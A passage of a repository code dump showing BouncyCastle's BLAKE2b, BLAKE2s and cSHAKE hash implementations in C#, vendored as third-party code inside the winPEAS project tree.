digestLength > 64)\n                throw new ArgumentException(\"Invalid digest length (required: 1 - 64)\");\n\n            this.digestLength = digestLength;\n            this.buffer = new byte[BLOCK_LENGTH_BYTES];\n\n            if (salt != null)\n            {\n                if (salt.Length != 16)\n                    throw new ArgumentException(\"salt length must be exactly 16 bytes\");\n\n                this.salt = new byte[16];\n                Array.Copy(salt, 0, this.salt, 0, salt.Length);\n            }\n            if (personalization != null)\n            {\n                if (personalization.Length != 16)\n                    throw new ArgumentException(\"personalization length must be exactly 16 bytes\");\n\n                this.personalization = new byte[16];\n                Array.Copy(personalization, 0, this.personalization, 0, personalization.Length);\n            }\n            if (key != null)\n            {\n                if (key.Length > 64)\n                    throw new ArgumentException(\"Keys > 64 are not supported\");\n\n                this.key = new byte[key.Length];\n                Array.Copy(key, 0, this.key, 0, key.Length);\n\n                keyLength = key.Length;\n                Array.Copy(key, 0, buffer, 0, key.Length);\n                bufferPos = BLOCK_LENGTH_BYTES; // zero padding\n            }\n            Init();\n        }\n\n        // initialize chainValue\n        private void Init()\n        {\n            if (chainValue == null)\n            {\n                chainValue = new ulong[8];\n\n                chainValue[0] = blake2b_IV[0] ^ (ulong)(digestLength | (keyLength << 8) | 0x1010000);\n\n                // 0x1010000 = ((fanout << 16) | (depth << 24) | (leafLength <<\n                // 32));\n                // with fanout = 1; depth = 0; leafLength = 0;\n                chainValue[1] = blake2b_IV[1];// ^ nodeOffset; with nodeOffset = 0;\n                chainValue[2] = blake2b_IV[2];// ^ ( nodeDepth | (innerHashLength << 8) );\n                // with nodeDepth = 0; innerHashLength = 0;\n\n                chainValue[3] = blake2b_IV[3];\n\n                chainValue[4] = blake2b_IV[4];\n                chainValue[5] = blake2b_IV[5];\n                if (salt != null)\n                {\n                    chainValue[4] ^= Pack.LE_To_UInt64(salt, 0);\n                    chainValue[5] ^= Pack.LE_To_UInt64(salt, 8);\n                }\n\n                chainValue[6] = blake2b_IV[6];\n                chainValue[7] = blake2b_IV[7];\n                if (personalization != null)\n                {\n                    chainValue[6] ^= Pack.LE_To_UInt64(personalization, 0);\n                    chainValue[7] ^= Pack.LE_To_UInt64(personalization, 8);\n                }\n            }\n        }\n\n        private void InitializeInternalState()\n        {\n            // initialize v:\n            Array.Copy(chainValue, 0, internalState, 0, chainValue.Length);\n            Array.Copy(blake2b_IV, 0, internalState, chainValue.Length, 4);\n            internalState[12] = t0 ^ blake2b_IV[4];\n            internalState[13] = t1 ^ blake2b_IV[5];\n            internalState[14] = f0 ^ blake2b_IV[6];\n            internalState[15] = blake2b_IV[7];// ^ f1 with f1 = 0\n        }\n\n        /**\n         * update the message digest with a single byte.\n         *\n         * @param b the input byte to be entered.\n         */\n        public virtual void Update(byte b)\n        {\n            int remainingLength = 0; // left bytes of buffer\n\n            // process the buffer if full else add to buffer:\n            remainingLength = BLOCK_LENGTH_BYTES - bufferPos;\n            if (remainingLength == 0)\n            { // full buffer\n                t0 += BLOCK_LENGTH_BYTES;\n                if (t0 == 0)\n                { // if message > 2^64\n                    t1++;\n                }\n                Compress(buffer, 0);\n                Array.Clear(buffer, 0, buffer.Length);// clear buffer\n                buffer[0] = b;\n                bufferPos = 1;\n            }\n            else\n            {\n                buffer[bufferPos] = b;\n                bufferPos++;\n                return;\n            }\n        }\n\n        /**\n         * update the message digest with a block of bytes.\n         *\n         * @param message the byte array containing the data.\n         * @param offset  the offset into the byte array where the data starts.\n         * @param len     the length of the data.\n         */\n        public virtual void BlockUpdate(byte[] message, int offset, int len)\n        {\n            if (message == null || len == 0)\n                return;\n\n            int remainingLength = 0; // left bytes of buffer\n\n            if (bufferPos != 0)\n            { // commenced, incomplete buffer\n\n                // complete the buffer:\n                remainingLength = BLOCK_LENGTH_BYTES - bufferPos;\n                if (remainingLength < len)\n                { // full buffer + at least 1 byte\n                    Array.Copy(message, offset, buffer, bufferPos,\n                        remainingLength);\n                    t0 += BLOCK_LENGTH_BYTES;\n                    if (t0 == 0)\n                    { // if message > 2^64\n                        t1++;\n                    }\n                    Compress(buffer, 0);\n                    bufferPos = 0;\n                    Array.Clear(buffer, 0, buffer.Length);// clear buffer\n                }\n                else\n                {\n                    Array.Copy(message, offset, buffer, bufferPos, len);\n                    bufferPos += len;\n                    return;\n                }\n            }\n\n            // process blocks except last block (also if last block is full)\n            int messagePos;\n            int blockWiseLastPos = offset + len - BLOCK_LENGTH_BYTES;\n            for (messagePos = offset + remainingLength; messagePos < blockWiseLastPos; messagePos += BLOCK_LENGTH_BYTES)\n            { // block wise 128 bytes\n                // without buffer:\n                t0 += BLOCK_LENGTH_BYTES;\n                if (t0 == 0)\n                {\n                    t1++;\n                }\n                Compress(message, messagePos);\n            }\n\n            // fill the buffer with left bytes, this might be a full block\n            Array.Copy(message, messagePos, buffer, 0, offset + len\n                - messagePos);\n            bufferPos += offset + len - messagePos;\n        }\n\n        /**\n         * close the digest, producing the final digest value. The doFinal\n         * call leaves the digest reset.\n         * Key, salt and personal string remain.\n         *\n         * @param out       the array the digest is to be copied into.\n         * @param outOffset the offset into the out array the digest is to start at.\n         */\n        public virtual int DoFinal(byte[] output, int outOffset)\n        {\n            f0 = 0xFFFFFFFFFFFFFFFFUL;\n            t0 += (ulong)bufferPos;\n            if (bufferPos > 0 && t0 == 0)\n            {\n                t1++;\n            }\n            Compress(buffer, 0);\n            Array.Clear(buffer, 0, buffer.Length);// Holds eventually the key if input is null\n            Array.Clear(internalState, 0, internalState.Length);\n\n            for (int i = 0; i < chainValue.Length && (i * 8 < digestLength); i++)\n            {\n                byte[] bytes = Pack.UInt64_To_LE(chainValue[i]);\n\n                if (i * 8 < digestLength - 8)\n                {\n                    Array.Copy(bytes, 0, output, outOffset + i * 8, 8);\n                }\n                else\n                {\n                    Array.Copy(bytes, 0, output, outOffset + i * 8, digestLength - (i * 8));\n                }\n            }\n\n            Array.Clear(chainValue, 0, chainValue.Length);\n\n            Reset();\n\n            return digestLength;\n        }\n\n        /**\n         * Reset the digest back to it's initial state.\n         * The key, the salt and the personal string will\n         * remain for further computations.\n         */\n        public virtual void Reset()\n        {\n            bufferPos = 0;\n            f0 = 0L;\n            t0 = 0L;\n            t1 = 0L;\n            chainValue = null;\n            Array.Clear(buffer, 0, buffer.Length);\n            if (key != null)\n            {\n                Array.Copy(key, 0, buffer, 0, key.Length);\n                bufferPos = BLOCK_LENGTH_BYTES; // zero padding\n            }\n            Init();\n        }\n\n        private void Compress(byte[] message, int messagePos)\n        {\n            InitializeInternalState();\n\n            ulong[] m = new ulong[16];\n            for (int j = 0; j < 16; j++)\n            {\n                m[j] = Pack.LE_To_UInt64(message, messagePos + j * 8);\n            }\n\n            for (int round = 0; round < ROUNDS; round++)\n            {\n                // G apply to columns of internalState:m[blake2b_sigma[round][2 * blockPos]] /+1\n                G(m[blake2b_sigma[round,0]], m[blake2b_sigma[round,1]], 0, 4, 8, 12);\n                G(m[blake2b_sigma[round,2]], m[blake2b_sigma[round,3]], 1, 5, 9, 13);\n                G(m[blake2b_sigma[round,4]], m[blake2b_sigma[round,5]], 2, 6, 10, 14);\n                G(m[blake2b_sigma[round,6]], m[blake2b_sigma[round,7]], 3, 7, 11, 15);\n                // G apply to diagonals of internalState:\n                G(m[blake2b_sigma[round,8]], m[blake2b_sigma[round,9]], 0, 5, 10, 15);\n                G(m[blake2b_sigma[round,10]], m[blake2b_sigma[round,11]], 1, 6, 11, 12);\n                G(m[blake2b_sigma[round,12]], m[blake2b_sigma[round,13]], 2, 7, 8, 13);\n                G(m[blake2b_sigma[round,14]], m[blake2b_sigma[round,15]], 3, 4, 9, 14);\n            }\n\n            // update chain values:\n            for (int offset = 0; offset < chainValue.Length; offset++)\n            {\n                chainValue[offset] = chainValue[offset] ^ internalState[offset] ^ internalState[offset + 8];\n            }\n        }\n\n        private void G(ulong m1, ulong m2, int posA, int posB, int posC, int posD)\n        {\n            internalState[posA] = internalState[posA] + internalState[posB] + m1;\n            internalState[posD] = Rotr64(internalState[posD] ^ internalState[posA], 32);\n            internalState[posC] = internalState[posC] + internalState[posD];\n            internalState[posB] = Rotr64(internalState[posB] ^ internalState[posC], 24); // replaces 25 of BLAKE\n            internalState[posA] = internalState[posA] + internalState[posB] + m2;\n            internalState[posD] = Rotr64(internalState[posD] ^ internalState[posA], 16);\n            internalState[posC] = internalState[posC] + internalState[posD];\n            internalState[posB] = Rotr64(internalState[posB] ^ internalState[posC], 63); // replaces 11 of BLAKE\n        }\n\n        private static ulong Rotr64(ulong x, int rot)\n        {\n            return x >> rot | x << -rot;\n        }\n\n        /**\n         * return the algorithm name\n         *\n         * @return the algorithm name\n         */\n        public virtual string AlgorithmName\n        {\n            get { return \"BLAKE2b\"; }\n        }\n\n        /**\n         * return the size, in bytes, of the digest produced by this message digest.\n         *\n         * @return the size, in bytes, of the digest produced by this message digest.\n         */\n        public virtual int GetDigestSize()\n        {\n            return digestLength;\n        }\n\n        /**\n         * Return the size in bytes of the internal buffer the digest applies it's compression\n         * function to.\n         *\n         * @return byte length of the digests internal buffer.\n         */\n        public virtual int GetByteLength()\n        {\n            return BLOCK_LENGTH_BYTES;\n        }\n\n        /**\n         * Overwrite the key\n         * if it is no longer used (zeroization)\n         */\n        public virtual void ClearKey()\n        {\n            if (key != null)\n            {\n                Array.Clear(key, 0, key.Length);\n                Array.Clear(buffer, 0, buffer.Length);\n            }\n        }\n\n        /**\n         * Overwrite the salt (pepper) if it\n         * is secret and no longer used (zeroization)\n         */\n        public virtual void ClearSalt()\n        {\n            if (salt != null)\n            {\n                Array.Clear(salt, 0, salt.Length);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Blake2sDigest.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /*\n      The BLAKE2 cryptographic hash function was designed by Jean-\n      Philippe Aumasson, Samuel Neves, Zooko Wilcox-O'Hearn, and Christian\n      Winnerlein.\n\n      Reference Implementation and Description can be found at: https://blake2.net/\n      RFC: https://tools.ietf.org/html/rfc7693\n\n      This implementation does not support the Tree Hashing Mode.\n\n      For unkeyed hashing, developers adapting BLAKE2 to ASN.1 - based\n      message formats SHOULD use the OID tree at x = 1.3.6.1.4.1.1722.12.2.\n\n             Algorithm     | Target | Collision | Hash | Hash ASN.1 |\n                Identifier |  Arch  |  Security |  nn  | OID Suffix |\n            ---------------+--------+-----------+------+------------+\n             id-blake2s128 | 32-bit |   2**64   |  16  |   x.2.4    |\n             id-blake2s160 | 32-bit |   2**80   |  20  |   x.2.5    |\n             id-blake2s224 | 32-bit |   2**112  |  28  |   x.2.7    |\n             id-blake2s256 | 32-bit |   2**128  |  32  |   x.2.8    |\n            ---------------+--------+-----------+------+------------+\n     */\n\n    /**\n     * Implementation of the cryptographic hash function BLAKE2s.\n     * <p/>\n     * BLAKE2s offers a built-in keying mechanism to be used directly\n     * for authentication (\"Prefix-MAC\") rather than a HMAC construction.\n     * <p/>\n     * BLAKE2s offers a built-in support for a salt for randomized hashing\n     * and a personal string for defining a unique hash function for each application.\n     * <p/>\n     * BLAKE2s is optimized for 32-bit platforms and produces digests of any size\n     * between 1 and 32 bytes.\n     */\n    public class Blake2sDigest\n        : IDigest\n    {\n        /**\n         * BLAKE2s Initialization Vector\n         **/\n        private static readonly uint[] blake2s_IV =\n            // Produced from the square root of primes 2, 3, 5, 7, 11, 13, 17, 19.\n            // The same as SHA-256 IV.\n            {\n                0x6a09e667, 0xbb67ae85, 0x3c6ef372,\n                0xa54ff53a, 0x510e527f, 0x9b05688c,\n                0x1f83d9ab, 0x5be0cd19\n            };\n\n        /**\n         * Message word permutations\n         **/\n        private static readonly byte[,] blake2s_sigma =\n            {\n                { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 },\n                { 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3 },\n                { 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4 },\n                { 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8 },\n                { 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13 },\n                { 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9 },\n                { 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11 },\n                { 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10 },\n                { 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5 },\n                { 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13, 0 }\n            };\n\n        private const int ROUNDS = 10; // to use for Catenas H'\n        private const int BLOCK_LENGTH_BYTES = 64;// bytes\n\n        // General parameters:\n        private int digestLength = 32; // 1- 32 bytes\n        private int keyLength = 0; // 0 - 32 bytes for keyed hashing for MAC\n        private byte[] salt = null;\n        private byte[] personalization = null;\n        private byte[] key = null;\n\n        // Tree hashing parameters:\n        // Because this class does not implement the Tree Hashing Mode,\n        // these parameters can be treated as constants (see Init() function)\n\t    /*\n\t     * private int fanout = 1; // 0-255\n\t     * private int depth = 1; // 1 - 255\n\t     * private int leafLength= 0;\n\t     * private long nodeOffset = 0L;\n\t     * private int nodeDepth = 0;\n\t     * private int innerHashLength = 0;\n\t     */\n\n        /**\n         * Whenever this buffer overflows, it will be processed in the Compress()\n         * function. For performance issues, long messages will not use this buffer.\n         */\n        private byte[] buffer = null;\n        /**\n         * Position of last inserted byte\n         **/\n        private int bufferPos = 0;// a value from 0 up to BLOCK_LENGTH_BYTES\n\n        /**\n         * Internal state, in the BLAKE2 paper it is called v\n         **/\n        private uint[] internalState = new uint[16];\n        /**\n         * State vector, in the BLAKE2 paper it is called h\n         **/\n        private uint[] chainValue = null;\n\n        // counter (counts bytes): Length up to 2^64 are supported\n        /**\n         * holds least significant bits of counter\n         **/\n        private uint t0 = 0;\n        /**\n         * holds most significant bits of counter\n         **/\n        private uint t1 = 0;\n        /**\n         * finalization flag, for last block: ~0\n         **/\n        private uint f0 = 0;\n\n        // For Tree Hashing Mode, not used here:\n        // private long f1 = 0L; // finalization flag, for last node: ~0L\n\n        /**\n         * BLAKE2s-256 for hashing.\n         */\n        public Blake2sDigest()\n            : this(256)\n        {\n        }\n\n        public Blake2sDigest(Blake2sDigest digest)\n        {\n            this.bufferPos = digest.bufferPos;\n            this.buffer = Arrays.Clone(digest.buffer);\n            this.keyLength = digest.keyLength;\n            this.key = Arrays.Clone(digest.key);\n            this.digestLength = digest.digestLength;\n            this.chainValue = Arrays.Clone(digest.chainValue);\n            this.personalization = Arrays.Clone(digest.personalization);\n        }\n\n        /**\n         * BLAKE2s for hashing.\n         *\n         * @param digestBits the desired digest length in bits. Must be a multiple of 8 and less than 256.\n         */\n        public Blake2sDigest(int digestBits)\n        {\n            if (digestBits < 8 || digestBits > 256 || digestBits % 8 != 0)\n                throw new ArgumentException(\"BLAKE2s digest bit length must be a multiple of 8 and not greater than 256\");\n\n            buffer = new byte[BLOCK_LENGTH_BYTES];\n            keyLength = 0;\n            digestLength = digestBits / 8;\n            Init();\n        }\n\n        /**\n         * BLAKE2s for authentication (\"Prefix-MAC mode\").\n         * <p/>\n         * After calling the doFinal() method, the key will remain to be used for\n         * further computations of this instance. The key can be overwritten using\n         * the clearKey() method.\n         *\n         * @param key a key up to 32 bytes or null\n         */\n        public Blake2sDigest(byte[] key)\n        {\n            buffer = new byte[BLOCK_LENGTH_BYTES];\n            if (key != null)\n            {\n                if (key.Length > 32)\n                    throw new ArgumentException(\"Keys > 32 are not supported\");\n\n                this.key = new byte[key.Length];\n                Array.Copy(key, 0, this.key, 0, key.Length);\n\n                keyLength = key.Length;\n                Array.Copy(key, 0, buffer, 0, key.Length);\n                bufferPos = BLOCK_LENGTH_BYTES; // zero padding\n            }\n            digestLength = 32;\n            Init();\n        }\n\n        /**\n         * BLAKE2s with key, required digest length, salt and personalization.\n         * <p/>\n         * After calling the doFinal() method, the key, the salt and the personal\n         * string will remain and might be used for further computations with this\n         * instance. The key can be overwritten using the clearKey() method, the\n         * salt (pepper) can be overwritten using the clearSalt() method.\n         *\n         * @param key             a key up to 32 bytes or null\n         * @param digestBytes     from 1 up to 32 bytes\n         * @param salt            8 bytes or null\n         * @param personalization 8 bytes or null\n         */\n        public Blake2sDigest(byte[] key, int digestBytes, byte[] salt,\n                             byte[] personalization)\n        {\n            if (digestBytes < 1 || digestBytes > 32)\n                throw new ArgumentException(\"Invalid digest length (required: 1 - 32)\");\n\n            this.digestLength = digestBytes;\n            this.buffer = new byte[BLOCK_LENGTH_BYTES];\n\n            if (salt != null)\n            {\n                if (salt.Length != 8)\n                    throw new ArgumentException(\"Salt length must be exactly 8 bytes\");\n\n                this.salt = new byte[8];\n                Array.Copy(salt, 0, this.salt, 0, salt.Length);\n            }\n            if (personalization != null)\n            {\n                if (personalization.Length != 8)\n                    throw new ArgumentException(\"Personalization length must be exactly 8 bytes\");\n\n                this.personalization = new byte[8];\n                Array.Copy(personalization, 0, this.personalization, 0, personalization.Length);\n            }\n            if (key != null)\n            {\n                if (key.Length > 32)\n                    throw new ArgumentException(\"Keys > 32 bytes are not supported\");\n\n                this.key = new byte[key.Length];\n                Array.Copy(key, 0, this.key, 0, key.Length);\n\n                keyLength = key.Length;\n                Array.Copy(key, 0, buffer, 0, key.Length);\n                bufferPos = BLOCK_LENGTH_BYTES; // zero padding\n            }\n            Init();\n        }\n\n        // initialize chainValue\n        private void Init()\n        {\n            if (chainValue == null)\n            {\n                chainValue = new uint[8];\n\n                chainValue[0] = blake2s_IV[0] ^ (uint)(digestLength | (keyLength << 8) | 0x1010000);\n                // 0x1010000 = ((fanout << 16) | (depth << 24));\n                // with fanout = 1; depth = 0;\n                chainValue[1] = blake2s_IV[1];// ^ leafLength; with leafLength = 0;\n                chainValue[2] = blake2s_IV[2];// ^ nodeOffset; with nodeOffset = 0;\n                chainValue[3] = blake2s_IV[3];// ^ ( (nodeOffset << 32) | (nodeDepth << 16) | (innerHashLength << 24) );\n                // with nodeDepth = 0; innerHashLength = 0;\n\n                chainValue[4] = blake2s_IV[4];\n                chainValue[5] = blake2s_IV[5];\n                if (salt != null)\n                {\n                    chainValue[4] ^= Pack.LE_To_UInt32(salt, 0);\n                    chainValue[5] ^= Pack.LE_To_UInt32(salt, 4);\n                }\n\n                chainValue[6] = blake2s_IV[6];\n                chainValue[7] = blake2s_IV[7];\n                if (personalization != null)\n                {\n                    chainValue[6] ^= Pack.LE_To_UInt32(personalization, 0);\n                    chainValue[7] ^= Pack.LE_To_UInt32(personalization, 4);\n                }\n            }\n        }\n\n        private void InitializeInternalState()\n        {\n            // initialize v:\n            Array.Copy(chainValue, 0, internalState, 0, chainValue.Length);\n            Array.Copy(blake2s_IV, 0, internalState, chainValue.Length, 4);\n            internalState[12] = t0 ^ blake2s_IV[4];\n            internalState[13] = t1 ^ blake2s_IV[5];\n            internalState[14] = f0 ^ blake2s_IV[6];\n            internalState[15] = blake2s_IV[7];// ^ f1 with f1 = 0\n        }\n\n        /**\n         * Update the message digest with a single byte.\n         *\n         * @param b the input byte to be entered.\n         */\n        public virtual void Update(byte b)\n        {\n            int remainingLength; // left bytes of buffer\n\n            // process the buffer if full else add to buffer:\n            remainingLength = BLOCK_LENGTH_BYTES - bufferPos;\n            if (remainingLength == 0)\n            { // full buffer\n                t0 += BLOCK_LENGTH_BYTES;\n                if (t0 == 0)\n                { // if message > 2^32\n                    t1++;\n                }\n                Compress(buffer, 0);\n                Array.Clear(buffer, 0, buffer.Length);// clear buffer\n                buffer[0] = b;\n                bufferPos = 1;\n            }\n            else\n            {\n                buffer[bufferPos] = b;\n                bufferPos++;\n            }\n        }\n\n        /**\n         * Update the message digest with a block of bytes.\n         *\n         * @param message the byte array containing the data.\n         * @param offset  the offset into the byte array where the data starts.\n         * @param len     the length of the data.\n         */\n        public virtual void BlockUpdate(byte[] message, int offset, int len)\n        {\n            if (message == null || len == 0)\n                return;\n\n            int remainingLength = 0; // left bytes of buffer\n\n            if (bufferPos != 0)\n            { // commenced, incomplete buffer\n\n                // complete the buffer:\n                remainingLength = BLOCK_LENGTH_BYTES - bufferPos;\n                if (remainingLength < len)\n                { // full buffer + at least 1 byte\n                    Array.Copy(message, offset, buffer, bufferPos, remainingLength);\n                    t0 += BLOCK_LENGTH_BYTES;\n                    if (t0 == 0)\n                    { // if message > 2^32\n                        t1++;\n                    }\n                    Compress(buffer, 0);\n                    bufferPos = 0;\n                    Array.Clear(buffer, 0, buffer.Length);// clear buffer\n                }\n                else\n                {\n                    Array.Copy(message, offset, buffer, bufferPos, len);\n                    bufferPos += len;\n                    return;\n                }\n            }\n\n            // process blocks except last block (also if last block is full)\n            int messagePos;\n            int blockWiseLastPos = offset + len - BLOCK_LENGTH_BYTES;\n            for (messagePos = offset + remainingLength;\n                 messagePos < blockWiseLastPos;\n                 messagePos += BLOCK_LENGTH_BYTES)\n            { // block wise 64 bytes\n                // without buffer:\n                t0 += BLOCK_LENGTH_BYTES;\n                if (t0 == 0)\n                {\n                    t1++;\n                }\n                Compress(message, messagePos);\n            }\n\n            // fill the buffer with left bytes, this might be a full block\n            Array.Copy(message, messagePos, buffer, 0, offset + len\n                - messagePos);\n            bufferPos += offset + len - messagePos;\n        }\n\n        /**\n         * Close the digest, producing the final digest value. The doFinal() call\n         * leaves the digest reset. Key, salt and personal string remain.\n         *\n         * @param out       the array the digest is to be copied into.\n         * @param outOffset the offset into the out array the digest is to start at.\n         */\n        public virtual int DoFinal(byte[] output, int outOffset)\n        {\n            f0 = 0xFFFFFFFFU;\n            t0 += (uint)bufferPos;\n            // bufferPos may be < 64, so (t0 == 0) does not work\n            // for 2^32 < message length > 2^32 - 63\n            if ((t0 < 0) && (bufferPos > -t0))\n            {\n                t1++;\n            }\n            Compress(buffer, 0);\n            Array.Clear(buffer, 0, buffer.Length);// Holds eventually the key if input is null\n            Array.Clear(internalState, 0, internalState.Length);\n\n            for (int i = 0; i < chainValue.Length && (i * 4 < digestLength); i++)\n            {\n                byte[] bytes = Pack.UInt32_To_LE(chainValue[i]);\n\n                if (i * 4 < digestLength - 4)\n                {\n                    Array.Copy(bytes, 0, output, outOffset + i * 4, 4);\n                }\n                else\n                {\n                    Array.Copy(bytes, 0, output, outOffset + i * 4, digestLength - (i * 4));\n                }\n            }\n\n            Array.Clear(chainValue, 0, chainValue.Length);\n\n            Reset();\n\n            return digestLength;\n        }\n\n        /**\n         * Reset the digest back to its initial state. The key, the salt and the\n         * personal string will remain for further computations.\n         */\n        public virtual void Reset()\n        {\n            bufferPos = 0;\n            f0 = 0;\n            t0 = 0;\n            t1 = 0;\n            chainValue = null;\n            Array.Clear(buffer, 0, buffer.Length);\n            if (key != null)\n            {\n                Array.Copy(key, 0, buffer, 0, key.Length);\n                bufferPos = BLOCK_LENGTH_BYTES; // zero padding\n            }\n            Init();\n        }\n\n        private void Compress(byte[] message, int messagePos)\n        {\n            InitializeInternalState();\n\n            uint[] m = new uint[16];\n            for (int j = 0; j < 16; j++)\n            {\n                m[j] = Pack.LE_To_UInt32(message, messagePos + j * 4);\n            }\n\n            for (int round = 0; round < ROUNDS; round++)\n            {\n\n                // G apply to columns of internalState:m[blake2s_sigma[round][2 *\n                // blockPos]] /+1\n                G(m[blake2s_sigma[round,0]], m[blake2s_sigma[round,1]], 0, 4, 8, 12);\n                G(m[blake2s_sigma[round,2]], m[blake2s_sigma[round,3]], 1, 5, 9, 13);\n                G(m[blake2s_sigma[round,4]], m[blake2s_sigma[round,5]], 2, 6, 10, 14);\n                G(m[blake2s_sigma[round,6]], m[blake2s_sigma[round,7]], 3, 7, 11, 15);\n                // G apply to diagonals of internalState:\n                G(m[blake2s_sigma[round,8]], m[blake2s_sigma[round,9]], 0, 5, 10, 15);\n                G(m[blake2s_sigma[round,10]], m[blake2s_sigma[round,11]], 1, 6, 11, 12);\n                G(m[blake2s_sigma[round,12]], m[blake2s_sigma[round,13]], 2, 7, 8, 13);\n                G(m[blake2s_sigma[round,14]], m[blake2s_sigma[round,15]], 3, 4, 9, 14);\n            }\n\n            // update chain values:\n            for (int offset = 0; offset < chainValue.Length; offset++)\n            {\n                chainValue[offset] = chainValue[offset] ^ internalState[offset] ^ internalState[offset + 8];\n            }\n        }\n\n        private void G(uint m1, uint m2, int posA, int posB, int posC, int posD)\n        {\n            internalState[posA] = internalState[posA] + internalState[posB] + m1;\n            internalState[posD] = rotr32(internalState[posD] ^ internalState[posA], 16);\n            internalState[posC] = internalState[posC] + internalState[posD];\n            internalState[posB] = rotr32(internalState[posB] ^ internalState[posC], 12);\n            internalState[posA] = internalState[posA] + internalState[posB] + m2;\n            internalState[posD] = rotr32(internalState[posD] ^ internalState[posA], 8);\n            internalState[posC] = internalState[posC] + internalState[posD];\n            internalState[posB] = rotr32(internalState[posB] ^ internalState[posC], 7);\n        }\n\n        private uint rotr32(uint x, int rot)\n        {\n            return x >> rot | x << -rot;\n        }\n\n        /**\n         * Return the algorithm name.\n         *\n         * @return the algorithm name\n         */\n        public virtual string AlgorithmName\n        {\n            get { return \"BLAKE2s\"; }\n        }\n\n        /**\n         * Return the size in bytes of the digest produced by this message digest.\n         *\n         * @return the size in bytes of the digest produced by this message digest.\n         */\n        public virtual int GetDigestSize()\n        {\n            return digestLength;\n        }\n\n        /**\n         * Return the size in bytes of the internal buffer the digest applies its\n         * compression function to.\n         *\n         * @return byte length of the digest's internal buffer.\n         */\n        public virtual int GetByteLength()\n        {\n            return BLOCK_LENGTH_BYTES;\n        }\n\n        /**\n         * Overwrite the key if it is no longer used (zeroization).\n         */\n        public virtual void ClearKey()\n        {\n            if (key != null)\n            {\n                Array.Clear(key, 0, key.Length);\n                Array.Clear(buffer, 0, buffer.Length);\n            }\n        }\n\n        /**\n         * Overwrite the salt (pepper) if it is secret and no longer used\n         * (zeroization).\n         */\n        public virtual void ClearSalt()\n        {\n            if (salt != null)\n            {\n                Array.Clear(salt, 0, salt.Length);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/CSHAKEDigest.cs",
    "content": "﻿using winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /// <summary>\n    /// Customizable SHAKE function.\n    /// </summary>\n    public class CShakeDigest : ShakeDigest\n    {\n        private static readonly byte[] padding = new byte[100];\n        private readonly byte[] diff;\n\n        /// <summary>\n        /// Base constructor\n        /// </summary>\n        /// <param name=\"bitLength\">bit length of the underlying SHAKE function, 128 or 256.</param>\n        /// <param name=\"N\">the function name string, note this is reserved for use by NIST. Avoid using it if not required.</param>\n        /// <param name=\"S\">the customization string - available for local use.</param>\n        public CShakeDigest(int bitLength, byte[] N, byte[] S) : base(bitLength)\n        {\n            if ((N == null || N.Length == 0) && (S == null || S.Length == 0))\n            {\n                diff = null;\n            }\n            else\n            {\n                diff = Arrays.ConcatenateAll(XofUtilities.LeftEncode(rate / 8), encodeString(N), encodeString(S));\n                DiffPadAndAbsorb();\n            }\n        }\n\n        // bytepad in SP 800-185\n        private void DiffPadAndAbsorb()\n        {\n            int blockSize = rate / 8;\n            Absorb(diff, 0, diff.Length);\n\n            int delta = diff.Length % blockSize;\n\n            // only add padding if needed\n            if (delta != 0)\n            {\n                int required = blockSize - delta;\n\n                while (required > padding.Length)\n                {\n                    Absorb(padding, 0, padding.Length);\n                    required -= padding.Length;\n                }\n\n                Absorb(padding, 0, required);\n            }\n        }\n\n        private byte[] encodeString(byte[] str)\n        {\n            if (str == null || str.Length == 0)\n            {\n                return XofUtilities.LeftEncode(0);\n            }\n\n            return Arrays.Concatenate(XofUtilities.LeftEncode(str.Length * 8L), str);\n        }\n\n        public override string AlgorithmName\n        {\n            get { return \"CSHAKE\" + fixedOutputLength; }\n        }\n\n        public override int DoFinal(byte[] output, int outOff)\n        {           \n            return DoFinal(output, outOff,GetDigestSize());\n        }\n\n        public override int DoFinal(byte[] output, int outOff, int outLen)\n        {\n            int length = DoOutput(output, outOff, outLen);\n\n            Reset();\n\n            return length;\n        }\n\n        public override int DoOutput(byte[] output, int outOff, int outLen)\n        {\n            if (diff != null)\n            {\n                if (!squeezing)\n                {\n                    AbsorbBits(0x00, 2);\n                }\n\n                Squeeze(output, outOff, ((long)outLen) * 8);\n\n                return outLen;\n            }\n            else\n            {\n                return base.DoOutput(output, outOff, outLen);\n            }\n        }\n\n        public override void Reset()\n        {\n            base.Reset();\n\n            if (diff != null)\n            {\n                DiffPadAndAbsorb();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/DSTU7564Digest.cs",
